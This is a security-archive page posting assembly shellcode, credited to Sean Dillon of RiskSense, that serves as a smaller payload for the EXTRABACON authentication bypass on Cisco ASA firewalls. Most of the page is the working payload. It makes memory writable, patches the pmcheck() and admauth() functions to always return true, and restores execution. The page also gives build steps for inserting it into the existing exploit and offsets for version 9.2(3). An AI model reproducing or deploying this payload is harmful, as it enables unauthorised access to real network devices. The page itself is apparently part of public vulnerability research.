what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco ASA EXTRABACON Improved Shellcode

Cisco ASA EXTRABACON Improved Shellcode
Posted Sep 16, 2016
Authored by Sean Dillon

69 bytes small Cisco ASA authentication bypass (EXTRABACON) better shellcode.

tags | shellcode
systems | cisco
SHA-256 | 52d60da7cead5faec24d4586ff3dc647622de7386e5e131d3f21e84ea31b0773

Cisco ASA EXTRABACON Improved Shellcode

Change Mirror Download
;
; Cisco ASA Authentication Bypass (EXTRABACON) Better Shellcode (69 bytes)
;
; Copyright: (c) 2016 RiskSense, Inc. (https://risksense.com)
; License: http://opensource.org/licenses/MIT
; Release Date: September 15, 2016
;
; Author: Sean Dillon (2E3C8D72353C9B8C9FF797E753EC4C9876D5727B)
;
; Description:
; This is not the same shellcode as the Equation Group version,
; but accomplishes the same task of disabling the auth functions
; in less stages/bytes. Particularly, it is 69 bytes in one stage
; instead of 200+ bytes spread across 2 stages.
;
; Build/Run:
; 1) $ nasm shelldisable.nasm
; 2) copy resulting shellcode into preamble_byte/preamble_snmp vars
; 3) Change launcher_snmp to 6 nops (or remove entirely)
;
; Note: The offsets given are for 9.2(3), not part of the original release
;
BITS 32

SAFERET_OFFSET equ 0x9277386 ; where to continue execution
PMCHECK_BOUNDS equ 0x9b78000 ; mprotect for pmcheck()
PMCHECK_OFFSET equ 0x9b78010 ; location of pmcheck()
ADMAUTH_BOUNDS equ 0x8085000 ; page align for admauth()
ADMAUTH_OFFSET equ 0x8085a40 ; location of admauth()

; we must patch pmcheck() and admauth() to always return true
; xor eax, eax = 31 c0
; inc eax = 40
; ret = c3

PATCH_CODE equ 0xc340c031 ; gotta love endianess

; we need to fix the function frame to continue normal operation
; eax = 0x0
; esi = 0x0
; edi = 0x0b
; ebx = 0x10
; ebp = [esp - 0x4 (ret)] + 0x??
FIX_EBP equ 0x48 ; this is 0x58, etc. in some versions
FIX_EDI equ 0x0f0f0f0b ; seems static?
FIX_EBX equ 0x10 ; seems static?

_start:

; these are registers we have to clean up, so we can null them before save
xor eax, eax
xor ebx, ebx
xor esi, esi
xor ecx, ecx ; ecx is volatile register

pusha ; save all registers

add ch, 0x10 ; ecx = 0x1000
add dl, 0x7 ; edx = 0x7
add al, 0x7d ; eax = 0x7d

push eax ; save eax for second call

mov ebx, PMCHECK_BOUNDS ; ebx = byte boundary for mprotect

int 0x80 ; sys_mprotect(PMCHECK_BOUNDS, 0x1000, 0x7)

pop eax ; eax = 0x7d
mov ebx, ADMAUTH_BOUNDS ; second function page align

int 0x80 ; sys_mprotect(ADMAUTH_BOUNDS, 0x1000, 0x7)

push PATCH_CODE
pop eax

mov dword [PMCHECK_OFFSET], eax ; write patch code to both functions
mov dword [ADMAUTH_OFFSET], eax

popa ; restore all registers

push SAFERET_OFFSET ; push the safe return address

; these registers are pre-xored
add bl, FIX_EBX
mov edi, FIX_EDI

mov ebp, esp
add ebp, FIX_EBP

ret ; return to safe address

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    0 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close